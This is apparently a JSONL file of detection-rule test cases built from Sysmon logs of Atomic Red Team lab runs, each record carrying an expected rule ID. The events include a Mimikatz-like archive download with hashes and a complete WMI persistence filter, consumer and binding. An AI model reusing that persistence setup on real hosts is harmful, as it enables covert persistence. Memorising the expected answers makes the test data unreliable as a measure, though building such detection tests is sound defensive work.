"win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "12", "win.system.eventRecordID": "351619", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2516", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T21:03:33.5134169Z", "win.system.task": "12", "win.system.threadID": "3644", "win.system.version": "2"}, "field_names": ["win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61614", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 12"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\svchost.exe\",\"targetObject\":\"HKLM\\\\\\\\System\\\\\\\\CurrentControlSet\\\\\\\\Services\\\\\\\\NcbService\\\\\\\\NCBKapiNlmCache\\\\\\\\9\\\\\\\\Value\",\"processGuid\":\"{4dc16835-130a-6130-1800-000000006300}\",\"processId\":\"424\",\"utcTime\":\"2021-09-01 20:58:03.282\",\"ruleName\":\"technique_id=T1543,technique_name=Service Creation\",\"details\":\"Binary Data\",\"eventType\":\"SetValue\"},\"system\":{\"eventID\":\"13\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Registry value set:\\r\\nRuleName: technique_id=T1543,technique_name=Service Creation\\r\\nEventType: SetValue\\r\\nUtcTime: 2021-09-01 20:58:03.282\\r\\nProcessGuid: {4dc16835-130a-6130-1800-000000006300}\\r\\nProcessId: 424\\r\\nImage: C:\\\\Windows\\\\System32\\\\svchost.exe\\r\\nTargetObject: HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\NcbService\\\\NCBKapiNlmCache\\\\9\\\\Value\\r\\nDetails: Binary Data\\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-01T20:58:03.2841583Z\",\"eventRecordID\":\"351550\",\"threadID\":\"3644\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"13\",\"processID\":\"2516\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.details": "Binary Data", "win.eventdata.eventType": "SetValue", "win.eventdata.image": "C:\\\\Windows\\\\System32\\\\svchost.exe", "win.eventdata.processGuid": "{4dc16835-130a-6130-1800-000000006300}", "win.eventdata.processId": "424", "win.eventdata.ruleName": "technique_id=T1543,technique_name=Service Creation", "win.eventdata.targetObject": "HKLM\\\\System\\\\CurrentControlSet\\\\Services\\\\NcbService\\\\NCBKapiNlmCache\\\\9\\\\Value", "win.eventdata.utcTime": "2021-09-01 20:58:03.282", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "13", "win.system.eventRecordID": "351550", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2516", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T20:58:03.2841583Z", "win.system.task": "13", "win.system.threadID": "3644", "win.system.version": "2"}, "field_names": ["win.eventdata.details", "win.eventdata.eventType", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetObject", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61615", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 13"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\Explorer.EXE\",\"processGuid\":\"{4dc16835-dc72-612f-591d-0a0000000000}\",\"processId\":\"4480\",\"contents\":\"[ZoneTransfer] ZoneId=3 ReferrerUrl=C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\katz_trunk.zip\",\"utcTime\":\"2021-09-01 20:39:01.347\",\"targetFilename\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\katz_trunk\\\\\\\\x64\\\\\\\\spool.dll:Zone.Identifier\",\"ruleName\":\"technique_id=T1089,technique_name=Drive-by Compromise\",\"creationUtcTime\":\"2021-08-11 00:22:58.000\",\"hash\":\"SHA1=66B6C5EBA4BAEF803C9344763711DDEF70B5CCCD,MD5=9876DC6D155D58377D83FF94EC83FBA4,SHA256=07C83F0BF8F8A855CFD77B7E8F2014B8D808D14354B8CE540C2A9B0DF11AE367,IMPHASH=00000000000000000000000000000000\"},\"system\":{\"eventID\":\"15\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"File stream created:\\r\\nRuleName: technique_id=T1089,technique_name=Drive-by Compromise\\r\\nUtcTime: 2021-09-01 20:39:01.347\\r\\nProcessGuid: {4dc16835-dc72-612f-591d-0a0000000000}\\r\\nProcessId: 4480\\r\\nImage: C:\\\\Windows\\\\Explorer.EXE\\r\\nTargetFilename: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\katz_trunk\\\\x64\\\\spool.dll:Zone.Identifier\\r\\nCreationUtcTime: 2021-08-11 00:22:58.000\\r\\nHash: SHA1=66B6C5EBA4BAEF803C9344763711DDEF70B5CCCD,MD5=9876DC6D155D58377D83FF94EC83FBA4,SHA256=07C83F0BF8F8A855CFD77B7E8F2014B8D808D14354B8CE540C2A9B0DF11AE367,IMPHASH=00000000000000000000000000000000\\r\\nContents: [ZoneTransfer] ZoneId=3 ReferrerUrl=C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\katz_trunk.zip \\\"\",\"version\":\"2\",\"systemTime\":\"2021-09-01T20:39:01.3623659Z\",\"eventRecordID\":\"182584\",\"threadID\":\"3140\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"15\",\"processID\":\"2400\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.contents": "[ZoneTransfer] ZoneId=3 ReferrerUrl=C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\katz_trunk.zip", "win.eventdata.creationUtcTime": "2021-08-11 00:22:58.000", "win.eventdata.hash": "SHA1=66B6C5EBA4BAEF803C9344763711DDEF70B5CCCD,MD5=9876DC6D155D58377D83FF94EC83FBA4,SHA256=07C83F0BF8F8A855CFD77B7E8F2014B8D808D14354B8CE540C2A9B0DF11AE367,IMPHASH=00000000000000000000000000000000", "win.eventdata.image": "C:\\\\Windows\\\\Explorer.EXE", "win.eventdata.processGuid": "{4dc16835-dc72-612f-591d-0a0000000000}", "win.eventdata.processId": "4480", "win.eventdata.ruleName": "technique_id=T1089,technique_name=Drive-by Compromise", "win.eventdata.targetFilename": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\katz_trunk\\\\x64\\\\spool.dll:Zone.Identifier", "win.eventdata.utcTime": "2021-09-01 20:39:01.347", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "15", "win.system.eventRecordID": "182584", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2400", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T20:39:01.3623659Z", "win.system.task": "15", "win.system.threadID": "3140", "win.system.version": "2"}, "field_names": ["win.eventdata.contents", "win.eventdata.creationUtcTime", "win.eventdata.hash", "win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.ruleName", "win.eventdata.targetFilename", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61617", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 15"} +{"log": "{\"win\":{\"eventdata\":{\"configuration\":\"C:\\\\\\\\Users\\\\\\\\AtomicRed\\\\\\\\Downloads\\\\\\\\sysmon\\\\\\\\Sysmonjune22\\\\\\\\sysmonconfig.xml\",\"utcTime\":\"2021-07-20 19:32:20.396\",\"configurationFileHash\":\"SHA256=EFCDCF4315ACFDDAD6060A246CBE0115D8F49591B0535A2990F2101A67B7155C\"},\"system\":{\"eventID\":\"16\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Sysmon config state changed:\\r\\nUtcTime: 2021-07-20 19:32:20.396\\r\\nConfiguration: C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\sysmon\\\\Sysmonjune22\\\\sysmonconfig.xml\\r\\nConfigurationFileHash: SHA256=EFCDCF4315ACFDDAD6060A246CBE0115D8F49591B0535A2990F2101A67B7155C\\\"\",\"version\":\"3\",\"systemTime\":\"2021-07-20T19:32:20.4013153Z\",\"eventRecordID\":\"279041\",\"threadID\":\"5780\",\"computer\":\"hrmanager.ExchangeTest.com\",\"task\":\"16\",\"processID\":\"3688\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.configuration": "C:\\\\Users\\\\AtomicRed\\\\Downloads\\\\sysmon\\\\Sysmonjune22\\\\sysmonconfig.xml", "win.eventdata.configurationFileHash": "SHA256=EFCDCF4315ACFDDAD6060A246CBE0115D8F49591B0535A2990F2101A67B7155C", "win.eventdata.utcTime": "2021-07-20 19:32:20.396", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "hrmanager.ExchangeTest.com", "win.system.eventID": "16", "win.system.eventRecordID": "279041", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "3688", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-07-20T19:32:20.4013153Z", "win.system.task": "16", "win.system.threadID": "5780", "win.system.version": "3"}, "field_names": ["win.eventdata.configuration", "win.eventdata.configurationFileHash", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61644", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 16"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\sihost.exe\",\"processGuid\":\"{4dc16835-dc71-612f-8335-090000000000}\",\"processId\":\"1596\",\"utcTime\":\"2021-09-01 20:23:42.451\",\"eventType\":\"CreatePipe\",\"pipeName\":\"\\\\\\\\AppContracts_x0A30B754-BF6E-423F-99E4-96AF8B5BD189y\"},\"system\":{\"eventID\":\"17\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Pipe Created:\\r\\nRuleName: -\\r\\nEventType: CreatePipe\\r\\nUtcTime: 2021-09-01 20:23:42.451\\r\\nProcessGuid: {4dc16835-dc71-612f-8335-090000000000}\\r\\nProcessId: 1596\\r\\nPipeName: \\\\AppContracts_x0A30B754-BF6E-423F-99E4-96AF8B5BD189y\\r\\nImage: C:\\\\Windows\\\\system32\\\\sihost.exe\\\"\",\"version\":\"1\",\"systemTime\":\"2021-09-01T20:23:42.4560267Z\",\"eventRecordID\":\"181769\",\"threadID\":\"3140\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"17\",\"processID\":\"2400\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.eventType": "CreatePipe", "win.eventdata.image": "C:\\\\Windows\\\\system32\\\\sihost.exe", "win.eventdata.pipeName": "\\\\AppContracts_x0A30B754-BF6E-423F-99E4-96AF8B5BD189y", "win.eventdata.processGuid": "{4dc16835-dc71-612f-8335-090000000000}", "win.eventdata.processId": "1596", "win.eventdata.utcTime": "2021-09-01 20:23:42.451", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "17", "win.system.eventRecordID": "181769", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2400", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T20:23:42.4560267Z", "win.system.task": "17", "win.system.threadID": "3140", "win.system.version": "1"}, "field_names": ["win.eventdata.eventType", "win.eventdata.image", "win.eventdata.pipeName", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61645", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 17"} +{"log": "{\"win\":{\"eventdata\":{\"utcTime\":\"2021-03-01 20:53:46.257\",\"query\":\" \\\\\\\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\\\\\\\"\",\"name\":\" \\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\"\",\"ruleName\":\"technique_id=T1047,technique_name=Windows Management Instrumentation\",\"eventType\":\"WmiFilterEvent\",\"eventNamespace\":\" \\\\\\\"root\\\\\\\\\\\\\\\\CimV2\\\\\\\"\",\"operation\":\"Created\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\"},\"system\":{\"eventID\":\"19\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"WmiEventFilter activity detected:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nEventType: WmiFilterEvent\\r\\nUtcTime: 2021-03-01 20:53:46.257\\r\\nOperation: Created\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nEventNamespace: \\\"root\\\\\\\\CimV2\\\"\\r\\nName: \\\"AtomicRedTeam-WMIPersistence-Example\\\"\\r\\nQuery: \\\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\\\"\\\"\",\"version\":\"3\",\"systemTime\":\"2021-03-01T20:53:46.2650847Z\",\"eventRecordID\":\"33057\",\"threadID\":\"6368\",\"computer\":\"DESKTOP-2QKFOBA\",\"task\":\"19\",\"processID\":\"2368\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.eventNamespace": " \\\"root\\\\\\\\CimV2\\\"", "win.eventdata.eventType": "WmiFilterEvent", "win.eventdata.name": " \\\"AtomicRedTeam-WMIPersistence-Example\\\"", "win.eventdata.operation": "Created", "win.eventdata.query": " \\\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\\\"", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-03-01 20:53:46.257", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "19", "win.system.eventRecordID": "33057", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2368", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-03-01T20:53:46.2650847Z", "win.system.task": "19", "win.system.threadID": "6368", "win.system.version": "3"}, "field_names": ["win.eventdata.eventNamespace", "win.eventdata.eventType", "win.eventdata.name", "win.eventdata.operation", "win.eventdata.query", "win.eventdata.ruleName", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61647", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 19"} +{"log": "{\"win\":{\"eventdata\":{\"utcTime\":\"2021-03-01 20:53:46.273\",\"name\":\" \\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\"\",\"destination\":\" \\\\\\\"C:\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\System32\\\\\\\\\\\\\\\\notepad.exe\\\\\\\"\",\"ruleName\":\"technique_id=T1047,technique_name=Windows Management Instrumentation\",\"eventType\":\"WmiConsumerEvent\",\"type\":\"Other\",\"operation\":\"Created\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\"},\"system\":{\"eventID\":\"20\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"WmiEventConsumer activity detected:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nEventType: WmiConsumerEvent\\r\\nUtcTime: 2021-03-01 20:53:46.273\\r\\nOperation: Created\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nName: \\\"AtomicRedTeam-WMIPersistence-Example\\\"\\r\\nType: Command Line\\r\\nDestination: \\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\notepad.exe\\\"\\\"\",\"version\":\"3\",\"systemTime\":\"2021-03-01T20:53:46.2783291Z\",\"eventRecordID\":\"33059\",\"threadID\":\"6368\",\"computer\":\"DESKTOP-2QKFOBA\",\"task\":\"20\",\"processID\":\"2368\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.destination": " \\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\notepad.exe\\\"", "win.eventdata.eventType": "WmiConsumerEvent", "win.eventdata.name": " \\\"AtomicRedTeam-WMIPersistence-Example\\\"", "win.eventdata.operation": "Created", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.type": "Other", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-03-01 20:53:46.273", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "20", "win.system.eventRecordID": "33059", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2368", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-03-01T20:53:46.2783291Z", "win.system.task": "20", "win.system.threadID": "6368", "win.system.version": "3"}, "field_names": ["win.eventdata.destination", "win.eventdata.eventType", "win.eventdata.name", "win.eventdata.operation", "win.eventdata.ruleName", "win.eventdata.type", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61648", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 20"} +{"log": "{\"win\":{\"eventdata\":{\"filter\":\" \\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\.\\\\\\\\\\\\\\\\ROOT\\\\\\\\\\\\\\\\subscription:__EventFilter.Name=\\\\\\\\\\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\\\\\\\\\"\\\\\\\"\",\"utcTime\":\"2021-03-01 20:53:46.570\",\"ruleName\":\"technique_id=T1047,technique_name=Windows Management Instrumentation\",\"eventType\":\"WmiBindingEvent\",\"operation\":\"Created\",\"user\":\"DESKTOP-2QKFOBA\\\\\\\\AtomicRedTeamTest\",\"consumer\":\" \\\\\\\"\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\.\\\\\\\\\\\\\\\\ROOT\\\\\\\\\\\\\\\\subscription:CommandLineEventConsumer.Name=\\\\\\\\\\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\\\\\\\\\"\\\\\\\"\"},\"system\":{\"eventID\":\"21\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"WmiEventConsumerToFilter activity detected:\\r\\nRuleName: technique_id=T1047,technique_name=Windows Management Instrumentation\\r\\nEventType: WmiBindingEvent\\r\\nUtcTime: 2021-03-01 20:53:46.570\\r\\nOperation: Created\\r\\nUser: DESKTOP-2QKFOBA\\\\AtomicRedTeamTest\\r\\nConsumer: \\\"\\\\\\\\\\\\\\\\.\\\\\\\\ROOT\\\\\\\\subscription:CommandLineEventConsumer.Name=\\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\"\\\"\\r\\nFilter: \\\"\\\\\\\\\\\\\\\\.\\\\\\\\ROOT\\\\\\\\subscription:__EventFilter.Name=\\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\"\\\"\\\"\",\"version\":\"3\",\"systemTime\":\"2021-03-01T20:53:46.5721127Z\",\"eventRecordID\":\"33060\",\"threadID\":\"6368\",\"computer\":\"DESKTOP-2QKFOBA\",\"task\":\"21\",\"processID\":\"2368\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.consumer": " \\\"\\\\\\\\\\\\\\\\.\\\\\\\\ROOT\\\\\\\\subscription:CommandLineEventConsumer.Name=\\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\"\\\"", "win.eventdata.eventType": "WmiBindingEvent", "win.eventdata.filter": " \\\"\\\\\\\\\\\\\\\\.\\\\\\\\ROOT\\\\\\\\subscription:__EventFilter.Name=\\\\\\\"AtomicRedTeam-WMIPersistence-Example\\\\\\\"\\\"", "win.eventdata.operation": "Created", "win.eventdata.ruleName": "technique_id=T1047,technique_name=Windows Management Instrumentation", "win.eventdata.user": "DESKTOP-2QKFOBA\\\\AtomicRedTeamTest", "win.eventdata.utcTime": "2021-03-01 20:53:46.570", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "DESKTOP-2QKFOBA", "win.system.eventID": "21", "win.system.eventRecordID": "33060", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2368", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-03-01T20:53:46.5721127Z", "win.system.task": "21", "win.system.threadID": "6368", "win.system.version": "3"}, "field_names": ["win.eventdata.consumer", "win.eventdata.eventType", "win.eventdata.filter", "win.eventdata.operation", "win.eventdata.ruleName", "win.eventdata.user", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", "win.system.level", "win.system.opcode", "win.system.processID", "win.system.providerGuid", "win.system.providerName", "win.system.severityValue", "win.system.systemTime", "win.system.task", "win.system.threadID", "win.system.version"], "rule": "", "level": "", "expected_decoder": "json", "expected_rule": "61649", "rule_matches_expected": false, "ini_file": "sysmon.ini", "section": "Sysmon EventID 21"} +{"log": "{\"win\":{\"eventdata\":{\"image\":\"C:\\\\\\\\Program Files (x86)\\\\\\\\Microsoft\\\\\\\\Edge\\\\\\\\Application\\\\\\\\msedge.exe\",\"processGuid\":\"{4dc16835-e4b7-612f-d002-000000001900}\",\"queryStatus\":\"0\",\"processId\":\"2412\",\"utcTime\":\"2021-09-01 20:40:24.039\",\"queryName\":\"img-s-msn-com.akamaized.net\",\"queryResults\":\"type: 5 a1834.dspg2.akamai.net;181.30.131.40;181.30.131.42;\"},\"system\":{\"eventID\":\"22\",\"keywords\":\"0x8000000000000000\",\"providerGuid\":\"{5770385f-c22a-43e0-bf4c-06f5698ffbd9}\",\"level\":\"4\",\"channel\":\"Microsoft-Windows-Sysmon/Operational\",\"opcode\":\"0\",\"message\":\"\\\"Dns query:\\r\\nRuleName: -\\r\\nUtcTime: 2021-09-01 20:40:24.039\\r\\nProcessGuid: {4dc16835-e4b7-612f-d002-000000001900}\\r\\nProcessId: 2412\\r\\nQueryName: img-s-msn-com.akamaized.net\\r\\nQueryStatus: 0\\r\\nQueryResults: type: 5 a1834.dspg2.akamai.net;181.30.131.40;181.30.131.42;\\r\\nImage: C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe\\\"\",\"version\":\"5\",\"systemTime\":\"2021-09-01T20:40:34.8860064Z\",\"eventRecordID\":\"182667\",\"threadID\":\"1592\",\"computer\":\"cfo.ExchangeTest.com\",\"task\":\"22\",\"processID\":\"2400\",\"severityValue\":\"INFORMATION\",\"providerName\":\"Microsoft-Windows-Sysmon\"}}}", "decoder": "json", "parent": "", "fields": {"win.eventdata.image": "C:\\\\Program Files (x86)\\\\Microsoft\\\\Edge\\\\Application\\\\msedge.exe", "win.eventdata.processGuid": "{4dc16835-e4b7-612f-d002-000000001900}", "win.eventdata.processId": "2412", "win.eventdata.queryName": "img-s-msn-com.akamaized.net", "win.eventdata.queryResults": "type: 5 a1834.dspg2.akamai.net;181.30.131.40;181.30.131.42;", "win.eventdata.queryStatus": "0", "win.eventdata.utcTime": "2021-09-01 20:40:24.039", "win.system.channel": "Microsoft-Windows-Sysmon/Operational", "win.system.computer": "cfo.ExchangeTest.com", "win.system.eventID": "22", "win.system.eventRecordID": "182667", "win.system.keywords": "0x8000000000000000", "win.system.level": "4", "win.system.opcode": "0", "win.system.processID": "2400", "win.system.providerGuid": "{5770385f-c22a-43e0-bf4c-06f5698ffbd9}", "win.system.providerName": "Microsoft-Windows-Sysmon", "win.system.severityValue": "INFORMATION", "win.system.systemTime": "2021-09-01T20:40:34.8860064Z", "win.system.task": "22", "win.system.threadID": "1592", "win.system.version": "5"}, "field_names": ["win.eventdata.image", "win.eventdata.processGuid", "win.eventdata.processId", "win.eventdata.queryName", "win.eventdata.queryResults", "win.eventdata.queryStatus", "win.eventdata.utcTime", "win.system.channel", "win.system.computer", "win.system.eventID", "win.system.eventRecordID", "win.system.keywords", 